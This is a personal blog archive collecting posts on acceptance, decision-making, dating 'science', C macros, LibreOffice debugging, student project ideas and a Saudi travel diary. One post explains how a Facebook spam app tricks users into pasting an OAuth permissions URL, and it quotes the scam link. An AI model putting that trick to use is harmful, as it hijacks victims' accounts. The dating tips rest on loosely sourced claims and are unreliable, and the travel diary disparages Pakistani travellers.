On Everyone's Need For Acceptance/Validation

The need to be accepted/loved comes third in the Maslow hierarchy, but given that these days in the developed/developing world at least people don't have problems with levels 1 and 2, we can safely assume the need for acceptance is also basic.

There would be no arguments on this need itself, however, what struck me in recent days, is that people want to satisfy this particular need from one particular subset alone. For example, we want our peer group alone to think that we are cool. We want people whom we consider to be cooler than us to think that we are cool too. If people whom we consider to be less cool than us hold us in high esteem, it is of no concern to us. If a person is loved by a lot of people, but is not given attention by just one person they care about, this whole need of theirs goes unsatisfied! They are almost crippled emotionally. Spurned lovers, or people who have been on the other side of the "its not you, its me" should be able to readily relate to this.

In cases of skills/talents the selection of a sub group from which we seek acceptance or validation makes a lot of sense, and indeed a failure to do so should be considered foolishness even. However, when the subset selection is a bit more artificial or when it is from the heart and not the brain - it would do a world of good to consciously recognize that one has chosen to validate oneself from a sub selection of options they have. That they are indeed worthy of love and respect, and that other people continue to value them.

But, one can argue on the lines of  ‘What if sometimes there is no choice about what to love? What if the temple comes to Mohammed? What if you just love? without deciding? You just do: you see her and in that instant are lost to sober account-keeping and cannot choose but to love?’ (David Foster Wallace). What if we don't get to choose who we think are cool? What if we want just that special someone to pay us attention or love us back?

I don't really have an answer, but I can continue the quote - ‘Then in such a case your temple is self and sentiment. Then in such an instance you are a fanatic of desire, a slave to your individual subjective narrow self’s sentiments; a citizen of nothing. You become a citizen of nothing. You are by yourself and alone, kneeling to yourself.’ (DFW)

I bet its harsh, but such is life. It goes on. 'In three words I can sum up everything I've learned about life: it goes on.' (Robert Frost). There's a new normal, you cannot get back the old normal, but there is a new normal. Check this. It is a failure of imagination to think that there is only one special someone who can or needs to love/accept/validate you. So move on, there's a world out there.

How to decide?

Decision making is always tough, and after reading a few things on that topic,  I have learned the following,

• Minimizing pain is more important than maximizing pleasure
  Over time we get used to good things, but things which are a pain continue to be painful, and may in fact get worse. And just to be clear, this doesn't mean you should be risk averse - risk is entirely different from pain.
  
  For example, if you have to choose between a large house which is far from where you work, vs a smaller one nearby - choose the smaller one that is nearby because as time passes, you'll get used to the larger house, that is, the largeness of the house will cease to be a source of joy, while the pain of commuting will only get worse. The smaller house has no pain, and no initial joy - but it never gets worse. The larger house has a good start, but progressively gets worse on the happiness factor it'll eventually fare worser than the smaller one.
  
  
• Don't decide with your brain if you are going to live with your heart ;-)
  The heading is cheeky but it simply means - don't base your decisions on metrics that don't really matter.
  
  It has been found that people who buy cars emotionally are more happy with their cars few years down the road compared to people who buy cars rationally comparing every single metric they know about. This is probably because small differences in the engine's horsepower are not going to matter unless one is racing while the comfort, aesthetics etc., ie. factors which might have an influence on one's daily ride. The same principle can be applied when one chooses between phones, headphones and so on. One can reliably leave the decision making to the gut when there are but small differences on a couple of metrics.
  
  
• Decision making state should be similar to decision execution state
  When you decide on a future course of action, make sure that you are in a state that is as similar to the one you'll be in when you execute that decision.
  
  For example, if you are planning to join a gym and you plan to go in the mornings, try waking up early for a week before committing to the plan. Save yourself the trouble of joining the gym on a relaxed evening and then find yourself wishing you didn't on a harried morning.
  
  
• Compare dis-similar items
  This idea is bastardized from an old Seth Godin blog post. This logic is to be used when the decision making process involves just a single item, for example, deciding whether to buy a car or not, and if so the price range.
  
  Lets assume the problem is in setting the range between INR 600,000 vs INR 700,000. Instead of seeing the difference of INR 100,000 only in terms of a car, like more horsepower etc., deciding will be easier when its thought of as a home entertainment system/ gaming system/ lazy boy chairs etc. In other words, do you prefer a cheaper car plus a home entertainment system or just a costlier car alone. The rational part of the brain can then compare whether the extra horsepower is worth giving up the entertainment system or not.
  
  
• Toss a coin
  When all else fails - fix your outcomes to the toss of a coin. Toss it high and if you find yourself wishing that heads or tails show up - go for it, that's what you really want!
  

On The Facebook Spammy App Which Tags All You In A Stupid Photo - the how and the why - Part 1

I have blogged about facebook spam app before. Quite some time has passed without me noticing anything other stupid spam in my feed, but recently I've been seeing quite a lot of activity from one particular app which tags a lot of people in a naughty picture which appears to be a video.

So if you were tagged in a stupid spammy picture recently read on to see how your perverted friends got fooled. (And fix your privacy settings - you share part of the blame too)

The picture appears to be a youtube clip, and the thumbnail signals the viewer that they might get to see something, y'all know...

The hapless pervert clicks on it, and off we go this page (http://tbszam.ap01.aws.af.cm/?52533520?cid=51b0144660dd6/?cid=51b0144660dd6)

(Ok now I should not have been so judgmental earlier, the words here seem fine :P )

Once again the player is just a picture. It looks like a flash player, but it isn't. Now your friend has clicks on the play button, again..

 A tiny new window opens, and the original page is updated with instructions to copy the URL from the other window, and then comes the shocker,

Its freaking asking you to paste the URL - ctrl + C and ctrl + V, goodness great, and people still do it??? (Two of my friends did - I'm never going to trust them with anything on the internet, ever)

What just happened was - they just granted the app the permission to tag their friends - just by proving that they are, human (no, I disagree, they are monkeys).

Here is the URL they pasted view-source:https://www.facebook.com/login.php?api_key=139682082719810&skip_api_login=1&display=popup&cancel_url=http%3A%2F%2Fm.facebook.com%253Fsdk%253Dios%26error_reason%3Duser_denied%26error%3Daccess_denied%26error_description%3DThe%2Buser%2Bdenied%2Byour%2Brequest.&fbconnect=1&next=https://m.facebook.com/%2Fdialog%2Fpermissions.request%3F_path%3Dpermissions.request%26app_id%3D139682082719810%26client_id%3D139682082719810%26redirect_uri%3Dhttps://www.facebook.com/connect/login_success.html?display%3Dpopup%26type%3Duser_agent%26perms%3Doffline_access%26fbconnect%3D1%26from_login%3D1%26rcount%3D1&rcount=2


You can find -

the app's API key - 139682082719810,
skip_api_login=1

In the &next= you can see the facebook URL for requesting permission.

If you want to see what's going on under the hood please go on to part 2.

On Reviving This Blog

Quite some time has passed since I posted anything. But, today Seth Godin published his 5000th post (!!!) and I read this - "Before Seth Godin was Seth Godin", and boy am I inspired.


I know that none of you read my non-technical posts - this blog is slowly inching towards 20000 page views in total :( (phew), and the majority of this views are from just 3 - 4 technical blog posts which continually get traffic from Google.

But still I want this to be in public - I'm going to start blogging daily... The journey starts again..

Current Stats

Total posts = 53
Total pageviews > 19000
Pageviews per month averages around 1000 (thanks to four old blog posts).

See you in five years, bye.  :-)

Searching for someone this valentines day, huh?

A random conversation with a friend facing a dilemma, a little inspiration from "59 seconds: Think a little, Change a lot", and some awful lot of time....


This Valentine's day lets inject some science to the crazy world of love. My goal in this post is to give you a couple of simple, clear, and practical tips based on psychological studies I'm aware of. I've also linked to as many sources as possible, so read on, be enlightened ;)

Being a programmer, I have to start with how we generally approach the problem, but you may happily skip the next two paragraphs if you want to. We have the Stable Marriage Problem, and the fussy suitor problem. These are rightly well known - Shapely got a Noble prize in 2012 for the first one, and they have a lot of cool applications in other areas not related to love.

The secretary problem teaches us to never settle down quickly, keep looking it says, fix an upper limit, say, 27 dates. Date the first 10 (27/e = 10 approx) and no matter how good they are, break up with them. Evaluate them on whatever metric you want to and keep that scorecard handy. Now start dating whoever comes in your way, and settle down with the first person who comes in your way, they're pretty much the best you'll find.

The stable marriage problem teaches us to create a ranked list of people you want to be with. Start by proposing to the person ranked one. If rejected ask the next one. And remember never propose twice. Its in the algorithm, seriously!

And now on to what current psychology research tells us - 
Psychological Fact 1 - We get used to good things - see Hedonic treadmill. TLDR - If there are any positive traits in a person, and you admire those qualities, after a few years you'll not be valuing those qualities anymore. So as far as your brain is concerned, the value of those qualities decreases over time.

Psychological Fact 2 - We never get used to pain. They become more painful over time. If there is anything that pisses you off today, boy, it'll drive you crazy tomorrow.

In other words, our goal should be to minimize pain more than maximizing good stuff, because after some time the good stuff doesn't matter much anyway. With this key idea in mind, lets take a look at some traits.

• Narcissism - If there is one thing you remember in this post, remember this, avoid narcissistic people. That's obvious, so, the real question is how do we find out whether someone is narcissistic or not? Thank facebook!
• Narcissistic people have more friends on facebook.
• Post updates more frequently.
• Change their profile pics often.
• They dress in a provocative way.
• Read http://www.immagic.com/eLibrary/ARCHIVES/GENERAL/JOURNALS/P110331D.pdf
• More readable source
• Smiles - Prefer people who smile more often, and who have a wider grin. Smiles or rather the lack of it is directly linked with divorce. This makes the task very easy for us. Just see their profile pics, and photos and see how often and how heartily they are smiling.  Source - http://www.livescience.com/culture/090414-smile-marriage.html
• Assertiveness - The previous two cases were easy - black and white, maximize one, and minimize the other. Assertiveness, however, needs balance. Its hell to live with people who want their way. Every. Single. Time. On the other hand there are people who are too soft. Its easy being around them because you feel that you are the boss. But, the problem is they keep piling up all the crap you throw at them unawares (since they are too timid to point it out) and they feel victimized and in due time they reach a tipping point, and when you wake up one fine morning you find yourself being considered as a heartless bully. By the time the volcano erupts, its too late already. So save yourself some heart ache, walk in the middle on this one.  All in all the goal here is to be a couple who tackle problems calmly - http://www.psychologytoday.com/articles/200910/what-makes-marriage-work
• Shared Hobbies - Found someone who shares a hobby? Don't look further. Shared hobbies promote a sense of being a team, and you get spend more time together that's fun for both. Research shows that couples who tackle challenges together, tend to love each other more. The old tribe tendencies kick in - its you the couple together vs the problem/goal/whatever. (I'll update sources soon).

So there they are - simple stuff to look for. Search for someone who is not narcissistic, who smiles and laughs a lot, who is confident but not too aggressive, who has a shared hobby or two. If you think this is impractical, well *you* work on this list. Be less narcissistic, smile more, don't push too hard, or allow yourself to be pushed around, have an interesting hobby, someone cool might read this blog of mine, and come searching for you!!!

At the end of the day, as an old poet said,

The mind has a thousand eyes,
And the heart but one;
Yet the light of a whole life dies,
When love is done. 
- Francis_William_Bourdillon 

Life Before Templates

Recently functional languages are exploding on the scene. Old languages are slowly but steadily gaining new features. C++ 11 has a whole lot of new stuff. But, in this post I want to go back to some good old code. Code that was probably written when I was crawling as a toddler. C++ templates were introduced in mid-80s, so how did programmers code before that? Pre-processor

Have a look at http://docs.libreoffice.org/svl/html/svarray_8hxx.html It contains a lot of macros which create whole classes! (If you have time, see where each macro is being called, and do the whole stuff on your own to get the final class, and you'll appreciate the ingenuity of the programmers of old).

I have never used complex macros since in C and C++ since use of macros are kindaa frowned upon, so I decided to post a small and ugly use of these macros.

If I had been a programmer before C++ had templates, this is what I'd have done to add ;)

#define ADD_FUNC(ret,typedesc) \
typedesc add##ret(typedesc a, typedesc b){\
        typedesc c; \
        c = a + b; \
        return c;\
    }
The above code can be used by the following macro calls,
ADD_FUNC(int,int);
ADD_FUNC(float,float);

This would get me two neat functions for addition - addint(int,int), addfloat(float,float)

I can use these functions directly as,
cout<<addint(4,5)<<endl;
cout<<addfloat(4.3,5.2)<<endl;

Note that the above macro is very different from a normal macro function like,
#define MACRO_ADD(a,b) (a+b)

The first macro *creates new functions* which are then called directly by name. The second macro will be called differently,
cout<<macro_add(1,5)<<endl;
cout<<macro_add(2.2,3.1)<<endl;

Here is a full file to make everything very clear,

In LibreOffice code, you'll find that the calls to the macro generated functions/classes are themselves created using other macros. However all the old stuff is now being replaced by STL containers, so hurry you might miss some beautiful/ugly old code. (Its ugly in 2012, but it shows the ingenuity of the programmers of old! So that's the jackassery that was going on there!

So you clicked on the menu, huh?

Menu Dropdown




I put a breakpoint at libo/vcl/source/window/winproc.cxx:2405, at the case SAL_EVENTMOUSEDOWN, to see

what happens when I click a mouse. 




I clicked on File Menu, it hit the breakpoint. Then off it goes to calls ImplHandleSalMouseButtonDown () 

with the following details stored in pEvent and pWindow.




pEvent

    mnTime = 78764380 //Time

    mnX = 18 //x co-ordinate

    mnY = 9  //y co-ordinate

    mnButton = 1  //left button, 4 for right click, 2 for clicking with the scroller

    mnCode = 0  //to find whether click is part of some select etc.




pWindow - the window object.

    

The ImplHandleSalMouseButtonDown () function is in ./libo/vcl/source/window/winproc.cxx:2068, it checks

whether shift, ctrl or alt keys were pressed in 2076, and then calls ImplGetMouseButtonMode () with pEvent

(function is at ./libo/vcl/source/window/winproc.cxx:2030) to get further details of whether it is a simple

click event or whether it is part of select, multi (ctrl+click?) or range select, using pEvent's mnCode 

variable. 




The ImplGetMouseButtonMode () function returns nMode as 3. The first two if statements were true, ie.

MOUSE_SIMPLECLICK and MOUSE_SELECT. Once, this returns, ImplHandleSalMouseButtonDown () calls the function

ImplHandleMouseEvent (), with 




    - the window object - pWindow

    - nSVEvent = 1 (EVENT_MOUSEBUTTONDOWN)

    - bMouseLeave = False

    - x,y co-ordinates

    - time of the event nMsgTime

    - nCode = 1, to indicate status of shift,ctrl keys

    - and mode of click , nMode = 3




The function then does the following,

    - gets the details of the frame 

    - checks the previous location of the mouse. 

    - updates the frame data with the latest details 

    - checks whether the mouse has left or entered (?). 

    - finds the window

    - after finding the window 

        - it checks whether the window was disabled

    - it comes to line 666 (after several if conditions turned out to be false), for the mouse click event

        - here it checks for double click.

        - it then updates the details in the child window object

    - It creates the MouseEvent object at line 709

    - It notifies the child window of the event. Off to the next function.

    - In the next call, first the constructor of ImplDelData is called (maybe due to some 

        inheritance) ImplDelData::ImplDelData () at /home/jesso/Downloads/libreoffice/libo/vcl/inc/

        svdata.hxx:424, this is there to protect against the window from getting destroyed.

    - The NotifyEvent object is created.

    - It then checks whether it should bring the window into focus, if it previously didn't have focus,

        close context menus etc.

    - ImplCallPreNotify function

        - calls long Application::CallEventHooks () at ./libo/vcl/source/app/svapp.cxx:1657

        - that function returns 0

        - so it gets the PreNotify () method on the window object in the event object.

    - Finally it calls the MouseButtonDown() method on the pChild pointer, which happens to be 

          MenuBarWindow::MouseButtonDown () at ./libo/vcl/source/window/menu.cxx:5366




The MenuBarWindow::MouseButtonDown () then does the following,

    - It first finds the entry on which the action happened.

    - It then calls ChangeHighlightItem (which needs to be refactored, btw)

    - This decides whether to update the focus etc

    - It then finally creates the pop up in line 5477

So You Inserted A Table, huh?

Aim

To make sense of LibreOffice source code. I plan to put a breakpoint in the  constructors of SwTableBox, and then get the back trace to see the flow and gain a little understanding of what's going on. This is post is aimed at beginners, so a little knowledge of C++/Java should be able to get one through this.

A Little Background Info (Skip this)

I'm a programmer from the Center for Development of Advanced Computing (CDAC), India, currently on a joint project with King Abdulaziz City for Science and Technology, Saudi Arabia, tasked with fixing bugs/improving LibreOffice. This is part of my efforts to understand (and help my team-mates understand) the source code. Any comments/suggestions/edits to this will be GREATLY APPRECIATED ;) You can fork this at https://gist.github.com/3038116

Initial Steps

I started to debug LibreOffice by following the steps listed in the official debugging guide after creating a build with --enable-debug --enable-symbols set in autogen.sh

Starting the Debugger

I started soffice with ddd after sourcing ooenv. Next, I set a breakpoint in line 1717 and 1738, constructors of SwTableBox in the file libo/sw/source/core/table/swtable.cxx, by typing  break /home/jesso/Downloads/libreoffice/libo/sw/source/core/table/swtable.cxx:1717, at the GDB console in the bottom of the DDD window, hoping these lines would be executed when a new table was created, and clicked on Run to start the execution.

In Writer, I inserted a new table, and as expected, the breakpoint at 1717 was hit!  Clicking on Status -> Backtrace in ddd, opens a pop up window with the Backtrace. I am reproducing it below, skipping the memory addresses alone.

Backtrace

#36 in main () at main.c:24
#35 in sal_main () at main.c:25
#34 in soffice_main () at sofficemain.cxx:77
#33 in SVMain () at svmain.cxx:210
#32 in ImplSVMain () at svmain.cxx:173
#31 in desktop::Desktop::Main () at app.cxx:1764
#30 in Application::Execute () at svapp.cxx:414
#29 in Application::Yield () at svapp.cxx:469
#28 in ImplYield () at svapp.cxx:435
#27 in GtkInstance::Yield () at gtkinst.cxx:538
#26 in GtkData::Yield () at gtkdata.cxx:578
#25 in g_main_context_iteration () from libglib-2.0.so.0
#24 in ?? () from libglib-2.0.so.0
#23 in g_main_context_dispatch () from libglib-2.0.so.0
#22 in ?? from libglib-2.0.so.0
#21 in call_userEventFn () at gtkdata.cxx:950
#20 in GtkData::userEventFn () at gtkdata.cxx:940
#19 in SalGenericDisplay::DispatchInternalEvent () at gendisp.cxx:102
#18 in SalFrame::CallCallback () at salframe.hxx:281
#17 in ImplWindowFrameProc () at winproc.cxx:2575
#16 in ImplHandleUserEvent () at winproc.cxx:2003
#15 in Link::Call () at link.hxx:143
#14 in SfxHintPoster::LinkStubDoEvent_Impl () at hintpost.cxx:65
#13 in SfxHintPoster::DoEvent_Impl () at hintpost.cxx:61
#12 in SfxHintPoster::Event () at hintpost.cxx:71
#11 in GenLink::Call () at genlink.hxx:45
#10 in Link::Call () at link.hxx:143
#09 in SfxDispatcher::LinkStubPostMsgHandler () at dispatch.cxx:1215
#08 in SfxDispatcher::PostMsgHandler () at dispatch.cxx:1244
#07 in SfxDispatcher::Call_impl () at dispatch.cxx:259
#06 in SfxShell::CallExec () at shell.hxx:199
#05 in SfxStubSwTextShellExecInsert () at swslots.hxx:2376
#04 in SwTextShell::ExecInsert () at textsh.cxx:466
#03 in SwBaseShell::InsertTable () at baseh.cxx:2654
#02 in SwEditShell::InsertTable () at edtab.cxx:77
#01 in SwDoc::InsertTable () at ndtbl.cxx:545
#00 in SwTableBox::SwTableBox () at swtable.cxx:1717

So, that's 36 calls, but I guess only calls from #21 are related to my table insertion actions.

What happens in each call

I am skipping calls #36 - #25 for now as they are mostly related to application startup. Calls #25 - #22 are inside glib (so, i'm not going to bother much about them).

#25 g_main_context_iteration () from libglib-2.0.so.0

Checks whether any event sources are ready to be processed. More details can be found here.

#23 in g_main_context_dispatch () from libglib-2.0.so.0

This dispatches all sources. More details are here.

#21 in call_userEventFn () at gtkdata.cxx:950

It is called by g_main_context_dispatch () with a pointer to a generic pointer name data. I was unable to dereference it.

#20 in GtkData::userEventFn () at gtkdata.cxx:940

The generic data pointer becomes a GtkData pointer here. Displaying the value pointed to by the pointer reveals a SalGenericData object(?) containing a SalData object (?) and a m_pUserEvent pointer. Dereferencing the m_pUserEvent pointer I found it contained, pointers to callback_funcs, source_funcs, callback_data etc. All these are interesting but I am unable to dereference these now as they are still generic pointers. Well, on the GtkData pointer, GetGtkDisplay() method is called, which returns a GtkSalDisplay object, on which the DispatchInternalEvent() method is called (the method is inherited from SalGenericDisplay).

Note -
* pThis seems to be concerned with the data directly resulting from the event (?),
*pData seems to contain the general details of the whole parent window (?), getting it from the GetGenericData() call which returns the variable pImplSVData.

#19 in SalGenericDisplay::DispatchInternalEvent () at gendisp.cxx:102

Here the lock is acquired, to get the values from m_aUserEvents. So, this seems to be where the actual user event and the corresponding data are fetched (?). The nEvent value is 22. The SalFrame is obtained and the CallCallback method is called on this object.

#18 in SalFrame::CallCallback () at salframe.hxx:281

This just calls the function stored in its own m_pProc variable.

#17 in ImplWindowFrameProc () at winproc.cxx:2575 

This contains the message loop. This function seems to handle *all* the user's inputs on the LibreOffice window. Seems to be a gold mine for putting breakpoints when we don't have a clue about any bug, and then we can step from here to where we want! The nEvent = 22 is SALEVENT_USEREVENT. Off we go to the next call in the same file.

#16 in ImplHandleUserEvent () at winproc.cxx:1986 

This just calls the function stored in the pointer.

#15 in Link::Call () at link.hxx:143  

The function pointed to by the pointer is called. Printing pFunc we get
(PSTUB) 0xb758ebbe

#14 in SfxHintPoster::LinkStubDoEvent_Impl () at /libo/sfx2/source/notify/hintpost.cxx:56 

Simply passes the data along to the next function (?).

#13 in SfxHintPoster::DoEvent_Impl () at /libo/sfx2/source/notify/hintpost.cxx:52

It passes the pointer it received on to the next function.

#12 SfxHintPoster::Event () at hintpost.cxx:60

I guess now it comes directly here. Seems to pass a function pointer deeper down.

#11 GenLink::Call () at /libo/sfx2/inc/sfx2/genlink.hxx:45 - Calls the function pointer.

#10 Link::Call () at /libo/solver/unxlngi6.pro/inc/tools/link.hxx:143

We've come back (?) to Call #15. It took the else part in the previous call, and we're back. But now we are calling a different function.

Printing pFunc here -
(PSTUB) 0xb73d97ba

I guess this Link::Call seems to be used to resolve function pointers in general (?).

#09 SfxDispatcher::LinkStubPostMsgHandler () at /libo/sfx2/source/control/dispatch.cxx:1205 

This function is commented. (Yay!) Helper method to receive the asynchronously executed s.

#08 SfxDispatcher::PostMsgHandler () at /libo/sfx2/source/control/dispatch.cxx:1234 

Stuff is added to SfxSlotServer and the next call is made. Expanding the pSlot pointer variable in ddd shows the structure containing variables which have subsequent calls (SfxStubSwTextShellExecInsert) stored in them.

#07 in SfxDispatcher::Call_Impl () at /libo/sfx2/source/control/dispatch.cxx:249

Its a helper function to check whether a slot can be executed and check the execution itself (from the comments in the code). It passes the target function SfxStubSwTextShellExecInsert to method CallExec in class SfxShell.

#06 in SfxShell::CallExec () at /libo/sfx2/inc/sfx2/shell.hxx:190

It simply executes the function pointed to by the function pointer.

#05 in SfxStubSwTextShellExecInsert () at /libo/workdir/unxlngi6.pro/SdiTarget/sw/sdi/swslots.hxx:2376

Now you'll find a line SFX_EXEC_STUB(SwTextShell,ExecInsert). I spent some time grepping for that, so I'll reproduce that macro here. Btw, macro is defined in 'sfx2/inc/sfx2/msg.hxx'.
 
  #define SFX_EXEC_STUB( aShellClass, aExecMethod) \
  void SfxStub##aShellClass##aExecMethod( \
    SfxShell *pShell, SfxRequest& rReq) \
   { \
     (( aShellClass* ) pShell )->aExecMethod( rReq ); \
   }
 
IMHO, this file seems to be a gold mine for putting break points, because, like winproc.cxx in #17, all the control seems to flow through these two areas, but I'm not sure about putting breakpoints on macros (?).

#04 in SwTextShell::ExecInsert () at /libo/sw/source/ui/shells/textsh.cxx:466

The code is more understandable at these layers. This function seems to be concerned with the insertion of *all* the objects into the document (is the document itself called as the shell?). It has one huge switch case for handling the various types of objects that can be inserted. Talking about that, the function gets value of the slot from the SfxRequest variable that it received as an argument, whose value the  ddd is showing as 20330 (ie. variable nSlot=20330, of type unsigned short), that maps to FN_INSERT_TABLE.

How? These details are in /libo/clone/binfilter/binfilter/inc/bf_sw/cmdid.h, in line 349 we have FN_INSERT + 30, and line 38 has FN_INSERT = (SID_SW_START + 300), and SID_SW_START = 20000 (this is defined in /libo/binfilter/inc/bf_sfx2/sfxsids.hrc). So the question becomes, where did it calculate 20330 first, I have to look keenly in the upper layers and update :( . Inside the case, it simply calls
InsertTable function with the argument that it received.

#03 -> SwBaseShell::InsertTable () in libo/sw/source/ui/shells/baseh.cxx:2654

This is where all the options entered in the dialog are finally retrieved. The data is present in the _rRequest variable and you can notice the retrieval of the table name, number of rows and columns etc. in lines 2582 - 2586, using SFX_REQUEST_ARG macros. The values that are finally stored in pName, pRows etc. were all entered in the Table dialog box, and ddd displays the values as these are ordinary integers. The items are then added once again as to _rRequest in proper Sfx formats(?) in lines 2641 to 2644.

Finally at 2654, the table is inserted! Notice that this call is sandwiched between rSh.StartAllAction () and rSh.EndAllAction (). After this layer, the parameters are passed expicitly, that is, not packaged in SfxRequest object anymore.

#02 -> SwEditShell::InsertTable () at libo/sw/source/core/edit/edtab.cxx:77

Again all the contents of the function are sandwiched between StartAllAction () and EndAllAction (). The current position of the cursor is obtained from GetCrsr()->GetPoint(), and the GetDoc() function returns the current document object, on which the next call happens.

#01 -> SwDoc::InsertTable () in libo/sw/source/core/docnode/ndtbl.cxx

This seems to deal at the table level. It gets the boxes/cells from SwTableBox::SwTableBox () and stores it in the variable pBox. It then constructs the table and returns a table node (?) - the variable pNdTbl (of type SwTable).

#00 -> SwTableBox::SwTableBox () in libo/sw/source/core/table/swtable.cxx:1717 

This is where I put he break point blindly, well all the constructors in this class had one. This constructor gets called four times, that is, for each cell in the table (am I right about the cell -> box mapping?).

The journey isn't over yet, the damned table hasn't even been printed to the screen, and every single function has to return the data. I'll edit this again as I make my journey upwards all the way back!

Takeaways



Files in Calls #17 and #5 are great places to put break points when we have no idea about any bug etc. as they are the critical points through which the flow must happen. There seem to be a couple of important Get* functions like GetGenericData (), GetDoc (), GetCur () etc. which can be used to get important objects.

pImplSVData - seems to be an important variable, used to get the display etc (?). Get it using GetGenericData().


SwWrtShell Object
More details about that can be found here. It is used in many functions, and in each case is retrieved by using GetShell ().


SfxRequest Object

SfxRequest object seems to be a container through which the data are passed around generally.

* Items are added to it using, reqObj.AppendItem ( ).

* After all items are appended method Done() is called on the object. ie. reqObj.Done()

* Items are retrieved using SFX_REQUEST_ARG macro.
    - It is defined in libo/sfx2/inc/sfx2/request.hxx
    - #define SFX_REQUEST_ARG(rReq, pItem, ItemType, nSlotId, bDeep) \
        const ItemType *pItem = (const ItemType*)

Project Ideas for Students under Anna University curriculum

One fine day when I was working, one of my favorite professors (Dr. D Surendran) came on gtalk and asked me to write a blog on project ideas for final year students studying Computer Science or Information Technology under Anna University, Chennai. Having faced a lot of interviews and having interviewed people for jobs and admissions, I know how important a project is in helping you get your first job. So here is what I wish I had done a few years back.

Plan B - An IEEE Project

Pick an IEEE paper published last year in your domain and do it! Well I didn't have to tell you this, that's why I titled it "Plan B".

Plan A - Non IEEE Project

Most colleges in Tamil Nadu make it mandatory that students should implement a recent IEEE paper and improve on that. It is intended to make sure that the projects are of respectable quality and are not some simple Android or Web app. So once we understand that IEEE is just for street cred, we can look out for even cooler projects, that'll make you stand out in every interview you attend, projects that'll be cool in an IIM admission's interview, as well as cool in an interview with Google.

Cool Project Idea #1 - Google Summer of Code

If you want a job with Google, start with Google!
Pros :
* You get paid!
* Guaranteed success in every 2nd tier programming job in India (I mean Infosys, TCS, CTS,..).
* You have a good shot at 'dream companies' (I still remember the student lingo) - Google, Amazon, ...

Cons :
* You have to be selected.

What to do?
* Visit the page.
* Follow instructions.

Try hard, ask people, bug your professors, for ideas... give it your best shot.

Cool Project Idea #2 - LibreOffice GSoC Ideas

This is as good as #1, but that gets you paid, so this becomes #2.

Pros :
* No rejection.
* Very supportive community.
* Same street cred as #1.

Cons :
* You don't get paid.

What to do?
* Sign up for the libreoffice mailing list.
* Create a local build of libreoffice in your computer.
* Complete an Easy Hack first.
* Email the list with the patch and tell them that you want to work on a GSoC idea.
* If anyone replies, they'll help you out with the basic ideas. (If you complete an Easy Hack or some other small patch, people will definitely reply).
* If no one replies, email the people on the ideas page directly and take it from there.

Cool Project Idea #3 - Some patch in the Linux Kernel

Get something done in the linux kernel. Needn't be big, but something quite significant enough for a project (not the kernel).

Pros :
* Great chances in any company which work on the kernel - nVidia, Intel, IBM (cool jobs, not the 'ordinary IBM jobs'), heck, Google again.

Cons :
* Very agressive community.  You'll get blasted if you act smart or act foolish. Got to tread the line carefully.
* Your patches might not be given the slightest damn.

What to do?
* Visit http://kernelnewbies.org/KernelHacking

Cool Project Idea #4 - Help professors in their doctoral prusuit

It is the best solution if the previous ideas are too daunting. Find out professors who are pursuing their PhD and ask them whether anything can be worked out. When I was a student, I tried and gave up on Dr. Surendran's research (sorry sir, but you didn't need my help after all!), helped prof Maheswar Rajagopal with some simulation and used that a lot in interviews!.

This will get you lots of points in interviews as it shows that your professors who kind of know you well after three years, trust you. And this is a win-win for both professors and students. And this is far easier to get, when I was a student, I could have easily worked with three or four lecturers, just look and ask around.

Pros :
* Interview points (not as much as others, but far more than any IEEE project)
* A healthy relationship - lecturers will appreciate this a lot, they'll be even flattered you asked!
* Best guidance possible. They will have a clear understanding of your knowledge, and since they a critical stake, they'll also give you good bite sized chunks of work according to your ability.

Cons :
* If anything goes bad - heaven help you! Things can become nasty really quick.

Cool Project Idea #5 - Internship At Any Reputed Company

If you get  a job in any company they'll let you do your project there if you 'ask' them. Some dont even required that you be placed there, like CDAC. Call people and ask if you can intern with them.

Pros :
* Smooth transistion from education to work.
* You can skip training when you join later in the same organisation.
* You might get paid!

Cons :
* You'll face work issues a bit earlier in life.
* No counter strike in college lab.

So that's it. Bug your professors. Email me. Ask people for ideas. And don't forget to follow your heart.

Life in Saudi - Day 02

The second day 08-06-2012 turned out to be a friday. We woke up late as we were tired and went to the McDonald's in the neighborhood. We had to wait a long time as it was prayer time in the evening and they wouldn't open the singles section. A lot of other Arabians came and fought with the guy who was standing near the door as he wouldn't open it. It was very funny to see them argue. Once we got inside my vegetarian friends had a problem since everything was non veg. But, there was one guy wearing a tie who understood some English and he offered them a big mac without the non veg pieces. He was very friendly, and we had a great time there. While we were eating, one westerner turned up. He seemed pretty annoyed at the loud arabian boys, who were sitting in the next table.

Coming to TV, most of the channels are in arabic. BBC, CNN, Fox and Bloomberg are available. There is no censorship in TV.

Life In Saudi - Day 01

Its my second day in Riyadh, Saudi Arabia, and before I came I found a few blogs about life in Saudi Arabia very useful. And so this blog is now going to be my contribution back to the internet community. I'll just be describing what I see and notice, and since I am going to keep describing stuff as when it happens, that is on a daily basis, (this is a blog and not a twitter feed), you should get a fairly good idea.

Day 1 - 07 - June - 2012

I hopped on an etihad flight from Chennai to Abu dabhi in the Chennai airport. The process there was uneventful, except for the fact that *I alone* was picked out for random questioning. Every. Single. Time. Two other friends on the same project who were traveling with me were not bothered with at all. Every other guy, well the security guard and emigration guy, both wanted to know where I was going and why, how long I would stay, and which institute was responsible there. I wasn't pulled out of the queue or anything but it still wasn't normal.

Well then coming to etihad airways, it sucked in India. The ground crew were very unprofessional. Even budget airlines are better than them. But, etihad in Abu Dabhi are totally different. They were very professional and excellent there.

Anyway the guy handling the check-in gave me a free 2kgs waiver, I carried 25 kgs, 2 more than the measly 23 kgs allowed for check in officially. I was also offered an upgrade to business class for 5000 rupees.

The flight was uneventful - the cabin crew were pleasant and nice. Landed in Abu Dabhi on time. The connecting flight was 2 hours later so we had some time there.

Then the flight to Riyadh... all the rumors were wrong. No the air hostesses didn't wear burkahs. Etihad airways was playing the Big bang theory with Penny uncensored! But, I suddenly noticed there were hardly any women passengers. From Abu Dabhi, women simply disappeared on the way to Riyadh.

Before we landed in Riyadh, the Air steward gave an entry form with a threatening message - death to drug traffickers! It had questions regarding one's religion, marital status etc. Then the flight landed. After we got into the airport, we found a place to fill out our forms. Before we knew, we were surrounded by a couple of illiterate pakistani's asking for help in filling the forms. We filled out one form, tried to make the rest do the same, couldn't convince them to fill out their own forms, ended up doing it for three other guys.

Entry Queues - Must read if you are on a first visit!
